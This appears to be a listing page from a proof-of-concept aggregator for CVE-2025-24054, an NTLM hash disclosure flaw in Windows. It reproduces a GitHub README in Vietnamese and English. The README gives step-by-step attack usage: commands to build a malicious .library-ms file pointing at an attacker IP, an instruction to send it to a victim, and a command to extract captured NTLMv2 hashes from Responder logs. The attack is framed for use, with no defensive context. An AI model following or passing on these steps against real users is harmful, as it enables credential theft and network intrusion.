CVE-2025-24054 PoC — NTLM Hash Disclosure Spoofing Vulnerability

Source

https://github.com/Yuri08loveElaina/CVE-2025-24054_POC

Associated Vulnerability

Title: NTLM Hash Disclosure Spoofing Vulnerability (CVE-2025-24054)
Description:External control of file name or path in Windows NTLM allows an unauthorized attacker to perform spoofing over a network.

Description

CVE 2025 24054

Readme

## VIETNAMESE ##
- Với file CVE-2025-24054.py và  Exploit.library-ms
- Thay ip vào file Exploit.library-ms gửi file cho sau đó chạy CVE-2025-24054.py là OK 
- Đối với ELAINA-POC.py
- Tạo file .library-ms độc hại:
 - python3 ELAINA-POC.py create -ip 192.168.1.100 -o payload.library-ms -
- gửi victim 
Trích xuất hash từ log Responder:
- python3 ELAINA-POC.py extract -f /path/to/Responder/logs/SMB-NTLMv2.lo -
## English ##
- With the file CVE-2025-24054.Py and Exploit.library-MS
- Replace IP to File Exploit.library-MS, send the file and then run CVE-2025-24054.Py is ok
- For elaina-poc.py
- Create a toxic .library-MS file: 
- Python3 Elaina -Poc.py Create -ip 192.168.1.100 -O Payload.library -MS -
- Send Victim
 -Extract the hash from log Responder:
-Python3 Elaina-poc.py Extract -f /path/to/responder/logs/smb-ntlmv2.lo -

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →